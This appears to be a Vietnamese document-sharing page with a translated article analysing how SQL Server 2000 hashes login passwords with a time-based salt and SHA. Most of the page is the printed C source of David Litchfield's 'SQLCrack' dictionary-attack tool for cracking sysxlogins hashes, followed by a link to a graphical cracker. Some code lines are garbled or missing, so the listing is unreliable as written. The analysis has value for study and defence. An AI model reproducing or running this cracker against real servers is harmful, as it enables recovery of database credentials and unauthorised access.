1. Trang chủ
  2. » Công Nghệ Thông Tin

Giải mã password của SQL Server.

6 7,3K 20
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Giải mã password của SQL Server
Trường học University of Information Technology
Chuyên ngành Computer Science
Thể loại bài viết
Năm xuất bản 2023
Thành phố Hồ Chí Minh
Định dạng
Số trang 6
Dung lượng 40 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Giải mã password của SQL Server.

Trang 1

Giải mã password của SQL Server :

trang này đã được đọc lần

Cách thức lưu trữ password của SQl Server:

SQL server sử dụng một hàm undocumented ( tạm gọi là hàm không cơ sở ) , pwdencrypt() để

mã hoá mã số của người dùng , chúng được lưu trữ trong bảng sysxlogin của cơ sở dữ liệu chính (master database) Đây có lẽ là điều mà nhiều người biết Điều không được công bố là những yếu tố của hàm pwdencrypy() Bài viết sau sẽ thảo luận về hàm này cũng như những điểm yếu trong cách mã hoá mã số của SQL Server

Một mã số khi đã mã hoá trông ra sao:

Sử dụng phương pháp phân tích truy vấn ( Query Analyzer) , hoặc công cụ SQL mà bạn chọn , thực thi đoạn truy vấn lựa chọn mã số từ master.dbo.sysxlogins tại name=”sa” Bạn sẽ nhận được đoạn trả về tương tự như đoạn sau:

0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6 F649BA954AFF4057056D9B

Đó là mã hoá của mã số của tài khoản truy nhập “sa” trong máy của tôi

Chúng ta có thể nhận được gì từ pwdencrypt() về cách mã hoá?

Thời gian

Truy vần lựa chọn pwdencrypt(“foo”) tạo ra

0x0100544115053E881CA272490C324ECE22BF17DAF2AB96B1DC9A7EAB644BD218

969D09FFB97F5035CF7142521576

nhưng chỉ vài giây sau vẫn với truy vấn pwdencrypt ta lại nhận được

0x0100D741861463DFFF7B5282BF4E5925057249C61A696ACB92F532819DC22ED6B

E374591FAAF6C38A2EADAA57FDF

Hai đoạn mã hoá trên khác nhau nhưng đầu vào foo thì lại giống nhau Từ đây ta có thể suy luận

ra rằng thời gian đóng một vai trò quan trọng trong việc tạo ra và lưu trữ password Điều này dẫn tới hai người sử dụng khác nhau sẽ có mã hoá khác nhau cho dù họ cùng dùng 1 mã số Trường hợp

Chạy đoạn truy vần pwdencrypt(“AAAAAA”) sẽ trả về

0x01008444930543174C59CC918D34B6A12C9CC9EF99C4769F819B43174C59CC918

D34B6A12C9CC9EF99C4769F819B

Ta thấy rằng có lẽ có 2 password được tạo ra ở đây Hãy để tôi chia nó ra

0x0100

84449305

43174C59CC918D34B6A12C9CC9EF99C4769F819B

43174C59CC918D34B6A12C9CC9EF99C4769F819B

Bạn có thể nhận ra 40 kí tự cuối cùng giông như 40 kí tự áp chót Như vậy có lẽ password đã được lưu trữ 2 lần? 1 trong chúng là password theo kiểu bình thường , cái còn lại là kiểu viết hoa của password

Clear Salt

Từ những gì chúng ta biết , sự thay đổi thời gian dẫn tới thay đổi password mã hoá , pass mã hoá này phải sẵn sàng trước khi user đăng nhập vào hệ thống và phải có sự đối chiếu giữa pass

mã hoá và pass của họ trong cơ sở dữ liệu Trong kết quả trên 8449305 là đầu ra của pass qua hàm pwdencrypt() Kết quả nhận được thông qua trình tự sau : Hàm time() của C được gọi và là khởi đầu cho hàm srand() Srand() cung cấp đầu vào cho hàm rand() tạo ra một số nguyên ngẫu nhiên SQl chuyển số này thành kiều short , ta gọi số này là SN1 Hàm rand() một lần nữa được thực thi và tạo nên 1 số ngẫu nhiên khác , ta gọi là SN2 SN1 và SN2 được kết hợp để tạo ra 1 số nguyên , SN1 trở thành phần chính và SN2 là phần phụ , SN1 và SN2 tạo thành salt Salt trở thành password

Mã hoá password

Mã số của người dùng được chuyển thành UNICODE nếu như chưa phải là kiểu này Salt sau đó

Trang 2

được nối thêm vào sau cùng Tổ hợp này được gửi tới hàm mã hoá trong advapi32.dll để tạo ra

mã hoá sử dụng thuật toán mã hoá hoặc SHA.Sau đó password được chuyển sang dạng upper-case( chữ hoa) , salt được gắn vào cuối và một SHA khác được tạo ra

0x0100 Phần đầu cố định

84449305 Salt từ 2 hàm rand()

43174C59CC918D34B6A12C9CC9EF99C4769F819B Mã hoá SHA chữ thường

43174C59CC918D34B6A12C9CC9EF99C4769F819B Mã hoá SHA chữ hoa

Quá trình xác thực

Khi một người dùng xác nhập vào SQL Server các quá trình sau diễn ra Đầu tiên SQl Sever xác thực password của người này trong cơ sở dữ liệu và xuất “salt” như 84449305 trong ví dụ nêu trên.Salt này được gắn vào sau password của người dùng tạo ra SHA Tổ hợp này được so sánh với tổ hợp trong cơ sở dữ liệu và nếu giống thì OK

Sự kiểm tra password của SQL Server

Quá trình này được thực thi gần giống như quá trình xác thực Tuy nhiên đầu tiên phải tạo ra tổ hợp từ tổ hợp chữ hoa

Mã nguồn cho một công cụ tấn công đơn giản theo kiểu từ

điển /////////////////////////////////////////////////////////////////////////////////

//

// SQLCrackCl

//

// Chương trình tấn công theo kiểu từ điển

// tổ hợp pass chữ hoa Một khi

// đã tìm ra thì thử mọi trường

// hợp chữ thường có thể

//

// Đoạn mã viết bởi David Litchfield to

// để tấn công password của Microsoft SQL Server 2000

// Nó có thể được thực thi mà không sử dụng CryptoAPI

//

// (Biên dịch với VC++ và liên kết với thư viện advapi32.lib

// Chắc chắn rằng Platform SDK cũng đã được cài đặt!)

//

//////////////////////////////////////////////////////////////////////////////////

#include <stdio.h>

#include <windows.h>

#include <wincrypt.h>

FILE *fd=NULL;

char *lerr = "\nLength Error!\n";

int wd=0;

int OpenPasswordFile(char *pwdfile);

int CrackPassword(char *hash);

int main(int argc, char *argv[])

{

int err = 0;

if(argc !=3)

{

printf("\n\n*** SQLCrack *** \n\n");

printf("C:\\>%s hash passwd-file\n\n",argv[0]);

printf("David Litchfield (david@ngssoftware.com)\n");

printf("24th June 2002\n");

return 0;

}

err = OpenPasswordFile(argv[2]);

Trang 3

if(err !=0)

{

return printf("\nThere was an error opening the password file %s\n",argv[2]); }

err = CrackPassword(argv[1]);

fclose(fd);

printf("\n\n%d",wd);

return 0;

}

int OpenPasswordFile(char *pwdfile)

{

fd = fopen(pwdfile,"r");

if(fd)

return 0;

else

return 1;

}

int CrackPassword(char *hash)

{

char phash[100]="";

char pheader[8]="";

char pkey[12]="";

char pnorm[44]="";

char pucase[44]="";

char pucfirst[8]="";

char wttf[44]="";

char uwttf[100]="";

char *wp=NULL;

char *ptr=NULL;

int cnt = 0;

int count = 0;

unsigned int key=0;

unsigned int t=0;

unsigned int address = 0;

unsigned char cmp=0;

unsigned char x=0;

HCRYPTPROV hProv=0;

HCRYPTHASH hHash;

DWORD hl=100;

unsigned char szhash[100]="";

int len=0;

if(strlen(hash) !=94)

{

return printf("\nThe password hash is too short!\n");

}

if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))

{

hash = hash + 2;

strncpy(pheader,hash,4);

printf("\nHeader\t\t: %s",pheader);

if(strlen(pheader)!=4)

return printf("%s",lerr);

hash = hash + 4;

Trang 4

printf("\nRand key\t: %s",pkey);

if(strlen(pkey)!=8)

return printf("%s",lerr);

hash = hash + 8;

strncpy(pnorm,hash,40);

printf("\nNormal\t\t: %s",pnorm);

if(strlen(pnorm)!=40)

return printf("%s",lerr);

hash = hash + 40;

strncpy(pucase,hash,40);

printf("\nUpper Case\t: %s",pucase);

if(strlen(pucase)!=40)

return printf("%s",lerr);

strncpy(pucfirst,pucase,2);

sscanf(pucfirst,"%x",&cmp);

}

else

{

return printf("The password hash has an invalid format!\n");

}

printf("\n\n Trying \n");

if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0)) {

if(GetLastError()==NTE_BAD_KEYSET)

{

// KeySet does not exist So create a new keyset

if(!CryptAcquireContext(&hProv,

NULL,

NULL,

PROV_RSA_FULL,

CRYPT_NEWKEYSET ))

{

printf("FAILLLLLLL!!!");

return FALSE;

}

}

}

while(1)

{

// get a word to try from the file

ZeroMemory(wttf,44);

if(!fgets(wttf,40,fd))

return printf("\nEnd of password file Didn't find the password.\n"); wd++;

len = strlen(wttf);

wttf[len-1]=0x00;

ZeroMemory(uwttf,84);

// Convert the word to UNICODE

while(count < len)

{

uwttf[cnt]=wttf[count];

cnt++;

Trang 5

count++;

cnt++;

}

len ;

wp = &uwttf;

sscanf(pkey,"%x",&key);

cnt = cnt - 2;

// Append the random stuff to the end of

// the uppercase unicode password

t = key >> 24;

x = (unsigned char) t;

uwttf[cnt]=x;

cnt++;

t = key << 8;

t = t >> 24;

x = (unsigned char) t;

uwttf[cnt]=x;

cnt++;

t = key << 16;

t = t >> 24;

x = (unsigned char) t;

uwttf[cnt]=x;

cnt++;

t = key << 24;

t = t >> 24;

x = (unsigned char) t;

uwttf[cnt]=x;

cnt++;

// Create the hash

if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))

{

printf("Error %x during CryptCreatHash!\n", GetLastError()); return 0;

}

if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))

{

printf("Error %x during CryptHashData!\n", GetLastError()); return FALSE;

}

CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0); // Test the first byte only Much quicker

if(szhash[0] == cmp)

{

// If first byte matches try the rest

ptr = pucase;

cnt = 1;

while(cnt < 20)

{

ptr = ptr + 2;

strncpy(pucfirst,ptr,2);

sscanf(pucfirst,"%x",&cmp);

if(szhash[cnt]==cmp)

Trang 6

cnt ++;

else

{

break;

}

}

if(cnt == 20)

{

// Chúng ta tìm ra mã số

printf("\nA MATCH!!! Mã số là %s\n",wttf);

return 0;

}

}

count = 0;

cnt=0;

}

return 0;

}

bạn có thể thử chương trình crack password dạng giao diện đồ hoạ của NGSSoftware tại http://www.nextgenss.com/products/ngssqlcrack.html

Ngày đăng: 02/11/2012, 14:18

TỪ KHÓA LIÊN QUAN

w